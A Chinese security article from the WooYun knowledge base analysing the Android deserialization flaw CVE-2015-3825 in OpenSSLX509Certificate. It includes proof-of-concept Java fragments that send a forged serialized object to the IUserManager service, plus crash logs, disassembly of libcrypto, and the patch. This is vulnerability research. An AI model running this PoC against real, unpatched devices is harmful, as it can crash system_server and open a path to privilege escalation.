

OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析 | WooYun知识库
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析
0x00 序
序列化 (Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
Android也有许多场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,如果使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。
0x01 漏洞成因
这个Android序列化漏洞(CVE-2015-3825),影响Android4.3及Android5.1版本,也就是Jelly Bean、KitKat、棒棒糖和Android M预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM安全团队Or Peles和Roee Hay在USENIX 2015大会上的议题《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》【1】。
2.1 PoC构造
Paper作者没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在OpenSSLX509Certificate(全包名路径为com.android.org.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足:
1)OpenSSLX509Certificate是可序列化的,因为他继承自可序列化的Certificate类;
2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数field mContext,long型(实际为指针类型);
3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve);
其中mContext就是要找的可被攻击控制的指针。
我对CVE-2014-7911的POC进行了改造,首先定义类com.android.org.conscrypt.ApenSSLX509Certificate
,如下:
#!java
public class ApenSSLX509Certificate implements Serializable {
//private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator
private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator
public final long mContext;
ApenSSLX509Certificate(long ctx) {
mContext = ctx;
}
}
注意包名为com.android.org.conscrypt,然后在同包名下创建一个MainActivity.java,对ApenSSLX509Certificate进行调用:
#!java
com.android.org.conscrypt.ApenSSLX509Certificate evilProxy = new com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);
b.putSerializable("eatthis", evilProxy);
和CVE-2014-7911 PoC一样,向“android.os.IUserManager”的service发送请求前,修改类名:
#!java
int l = data.length;
for (int i=0; i<l-4; i++) {
if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') {
data[i] = 'O';
break;
}
}
类似CVE-2014-7911的分析,我们也对service.jar加一些日志信息输出,在Android 4.4.2的AVD中,安装、运行PoC,我们看到:
E/CVE-2014-7911-trace(1669): setApplicationRestrictions E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[] W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[] at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417) at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124) at android.os.IUserManager$Stub.onTransact(IUserManager.java:245) W/System.err(1669): at android.os.Binder.execTransact(Binder.java:404) W/System.err(1669): at dalvik.system.NativeStart.run(Native Method) E/UserManagerService(1669): Error writing application restrictions list
也是强制类型转换导致异常,与CVE-2014-7911的强制转换为java.io.Serializable导致的异常不同,因为传入的object本身不是序列化的对象,致使类型转换失败。CVE-2015-3825是将com.android.org.conscrypt.OpenSSLX509Certificate
强制转换为java.lang.String[]
而产生的异常。
验证PoC过程中,在Android 4.4.2 AVD,只触发了“Error writing application restrictions list”异常,但是GC资源回收没被触发。
在Android 5.1.1 AVD,可以通过重复发送n次的“TRANSACTION_setApplicationRestrictions”请求可以触发GC回收资源,最后导致system_server的crash:
A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon)
I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys'
I/DEBUG(61): Revision: '0'
I/DEBUG(61): ABI: 'arm'
I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon >>> system_server <<<
I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f
I/DEBUG(61): r0 00000000 r1 0000000c r2 00000000 r3 00000000
I/DEBUG(61): r4 b6c9766f r5 00000003 r6 ffffffff r7 7f7f7f8f
I/DEBUG(61): r8 00000075 r9 b6c24ac9 sl a78fbaa4 fp 13068980
I/DEBUG(61): ip 00000001 sp a78fba58 lr b6c3da1d pc b6c3da1c cpsr 60000030
I/DEBUG(61): backtrace:
I/DEBUG(61): #00 pc 00072a1c /system/lib/libcrypto.so (CRYPTO_add_lock+59)
I/DEBUG(61): #01 pc 000579b1 /system/lib/libcrypto.so (asn1_do_lock+68)
I/DEBUG(61): #02 pc 0005646f /system/lib/libcrypto.so
09-06 20:31:31.394: I/DEBUG(61): #03 pc 00056415 /system/lib/libcrypto.so (ASN1_item_free+12)
09-06 20:31:31.395: I/DEBUG(61): #04 pc 00017c0d [email protected]@boot.oat
09-06 20:32:09.116: I/art(5663): Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, paused 887us total 513.880ms
09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01
2.2 异常分析
这里基于Android 5.1.1 AVD上的分析。
上面说到,“TRANSACTION_setApplicationRestrictions
”请求发出后,导致一个异常,然后GC回收资源。
从源代码分析,GC调用OpenSSLX509Certificate. finalize()
:
@Override
protected void finalize() throws Throwable {
try {
if (mContext != 0) {
NativeCrypto.X509_free(mContext);
}
} finally {
super.finalize();
}
}
然后调用NativeCrypto.X509_free()
方法,该方法在NativeCrypto.java定义如下:
public static native void X509_free(long x509ctx);
最终是在libjavacrypto.so中实现的,该函数定义在org_conscrypt_NativeCrypto.cpp文件中:
static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) {
X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref));
JNI_TRACE("X509_free(%p)", x509);
if (x509 == NULL) {
jniThrowNullPointerException(env, "x509 == null");
JNI_TRACE("X509_free(%p) => x509 == null", x509);
return;
}
X509_free(x509);
}
NativeCrypto_X509_free
函数最后调用的X509_free是OpenSSL库提供的接口,关于如何找到该函数实现请参考附录一。
根据上面分析得到信息,在动态调试时,我们在libjavacrypto.so:: NativeCrypto_X509_free
函数中下断,
.text:00008C1C sub_8C1C ; DATA XREF: .data:000175ACo .text:00008C1C CBNZ R2, loc_8C26 .text:00008C1E LDR R1, =(aX509Null - 0x8C24) .text:00008C20 ADD R1, PC ; "x509 == null" .text:00008C22 B.W j_j_j_jniThrowNullPointerException .text:00008C26 .text:00008C26 loc_8C26 ; CODE XREF: sub_8C1Cj .text:00008C26 MOV R0, R2 .text:00008C28 B.W j_j_X509_free .text:00008C28 ; End of function sub_8C1C
下断点后,有时会碰到单步执行异常,笔者使用的一个办法供参考:设置该lib库的所有内存节属性为可写的。
在j_j_X509_free中单步步入,到libcrypto.so: ASN1_item_free
函数,
.text:00056408 EXPORT ASN1_item_free
.text:00056408 ASN1_item_free ; CODE XREF: j_ASN1_item_free+8j
.text:00056408 ; DATA XREF: .got:ASN1_item_free_ptro
.text:00056408
.text:00056408 var_C = -0xC
.text:00056408
.text:00056408 PUSH.W {R11,LR}
.text:0005640C SUB SP, SP, #8
.text:0005640E STR R0, [SP,#0x10+var_C]
.text:00056410 ADD R0, SP, #0x10+var_C
.text:00056412 MOVS R2, #0
.text:00056414 BL sub_56420
.text:00056418 ADD SP, SP, #8
.text:0005641A POP.W {R11,PC}
.text:0005641A ; End of function ASN1_item_free
sub_56420即为asn1_item_combine_free
函数,定义为:
static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)
我们继续分析这个函数,
.text:00056420 sub_56420 ; CODE XREF: ASN1_item_free+Cp
.text:00056420 ; ASN1_item_ex_free+2j ...
.text:00056420 PUSH.W {R4-R10,LR}
.text:00056424 MOV R10, R0 ; R0: pval, &mContext;
.text:00056426 MOV R8, R2 ; R1: combine, int;
.text:00056428 MOV R5, R1 ; R1: it, ASN1_ITEM;
.text:00056428 ; libcrypto.so:X509_NAME_TYPE_it
.text:0005642A CMP.W R10, #0 ; if (!pval) return;
.text:0005642E BEQ.W def_5645A ; jumptable 0005645A default case
.text:00056432 LDRB R1, [R5] ; R1 <- it->itype;
.text:00056434 LDR R0, [R5,#0x10] ; R0 <- aux = it->funcs;
.text:00056436 CBZ R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0
.text:00056438 LDR.W R2, [R10] ; !*pval
.text:0005643C CMP R2, #0
.text:0005643E BEQ.W def_5645A ; jumptable 0005645A default case
如分号后的备注所写,这段代码将初始相关变量:将&mContext存入R10,combine存入R2,it存入R5,然后验证参数的合法性。代码继续,获取aux->asn1_cb存入R9中:
.text:00056442 loc_56442 ; CODE XREF: sub_56420+16j
.text:00056442 CMP R0, #0
.text:00056444 ITT NE
.text:00056446 LDRNE.W R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb;
.text:0005644A CMPNE.W R9, #0
.text:0005644E BNE loc_56454 ; switch(it->itype)
.text:00056450 MOV.W R9, #0
继续,接下来调用asn1_do_lock函数:
.text:00056466 MOV R0, R10 ; jumptable 0005645A cases 1,6
.text:00056468 MOV.W R1, #0xFFFFFFFF ; 传入-1
.text:0005646C MOV R2, R5 ; it
.text:0005646E BLX j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it)
.text:0005646E ; 走到这了,crash在这个函数
.text:00056472 CMP R0, #0
.text:00056474 BGT def_5645A ; jumptable 0005645A default case
此时整理asn1_do_lock函数调用时参数:R0是上面R10存储的&mContext,R1为-1,R2为上面R5存储的it。下面进入asn1_do_lock函数继续分析,取出it->funcs放入R2:
.text:00057984 LDR R2, [R2,#0x10] ; aux = it->funcs;
.text:00057986 CMP R2, #0
再取it->funcs即aux的ref_offset放入R3中,然后计算(char*)mContext+aux->ref_offset的存入R12:
.text:00057992 LDR R3, [R2,#8] ; aux->ref_offset
.text:00057994 CMP R1, #0
.text:00057996 LDR R0, [R0] ; R0 = &mContext
.text:00057998 ADD.W R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset);
.text:0005799C BEQ loc_579B6
接下来是调用CRYPTO_add_lock函数:
.text:000579A2 MOVS R0, #0x75
.text:000579A4 LDR R3, =(aExternalOpe_43 - 0xFA1D8)
.text:000579A6 ADD LR, PC ; _GLOBAL_OFFSET_TABLE_
.text:000579A8 LDR R2, [R2,#0xC] ; aux->ref_lock
.text:000579AA ADD R3, LR ; "external/openssl/crypto/asn1/tasn_utl.c"
.text:000579AC STR R0, [SP,#0x10+var_10] ; line: 0x75 -> 117
.text:000579AE MOV R0, R12
.text:000579B0 BLX j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)
进一步分析CRYPTO_add_lock函数,读取R7地址的内容再加R1(R1=-1,这里也就是减1操作),然后再存入R1地址中:
.text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line) .text:000729E0 EXPORT CRYPTO_add_lock .text:000729E0 CRYPTO_add_lock ; CODE XREF: j_CRYPTO_add_lock+8j .text:000729E4 MOV R7, R0 ; R7 = (char*)mContext+aux->ref_offset ... ... .text:000729E8 MOV R6, R1 ; R1 = -1 … … .text:00072A1C LDR R0, [R7] ; Crash在这,此时R7为0x7F7F7F8F .text:00072A24 ADD R6, R0 … … .text:00072A28 STR R6, [R7] ; 如果R7指向的内存为写的,这里可以实现任意写
调试时aux->ref_offset的值为0x10,参考x509_st结构,我们猜测(char*)mContext+0x10为mContext-> references,用记录对象引用次数,管理内存的引用。再看源码tasn_fre.c (external/openssl/crypto/asn1/)【4]的asn1_item_combine_free方法:
case ASN1_ITYPE_SEQUENCE:
if (asn1_do_lock(pval, -1, it) > 0)
return;
if (asn1_cb)
{
i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL);
if (i == 2)
return;
}
当asn1_do_lock返回为0,即mContext-> references为0时,才调用asn1_cb函数释放资源。
继续CRYPTO_add_lock的反汇编代码分析,由于我们在Java层传入的是一个非法地址0x7f7f7f7f,所以导到内存写异常。
Google的修复方法【2】是给mContext成员添加transient修饰符,使其不被序列化。
0x03 总结
在对象序列化时,指针成员的序列化较易存在安全风险,如CVE-2014-7911中的mOrgue,CVE-2015-3825中的mContext。本漏洞(CVE-2015-3825)中由于mContext是可序列化的,而它指向的又是X509结构的指针,当传入的序列化对象在反序列化产生异常时,系统调用GC回收资源,即mContext->references减1,这里mContext是可控制的,便可导致有限制的内存任意写(多次减1)漏洞。
0x04 参考
【1】 https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
【2】 https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540
【3】 https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540
【4】 https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c
0x05 附录
5.1 如何找到那个叫X509_free的函数
在OpenSSL代码中怎么搜X509_free也搜索不到真正的代码实现,这是因为OpenSSL中用了一堆宏、宏嵌套定义部分函数、结构,X509_free就在其中一个。细细看代码才发现X509_free是在crypto/asn1/x_x509.c文件中由IMPLEMENT_ASN1_FUNCTIONS定义的:
IMPLEMENT_ASN1_FUNCTIONS(X509)
顺藤摸瓜找出下面几个嵌套的宏:
# define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \
IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \
IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname)
# define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \
stname *fname##_new(void) \
{ \
return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \
} \
void fname##_free(stname *a) \
{ \
ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \
}
#define ASN1_ITEM_rptr(ref) (&(ref##_it))
映射到X509的定义,可以翻译如下:
X509 * X509_new(void) \
{ \
return (X509 *)ASN1_item_new(&X509_it); \
} \
void X509_free(X509 *a) \
{ \
ASN1_item_free((ASN1_VALUE *)a, &X509_it)); \
}
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK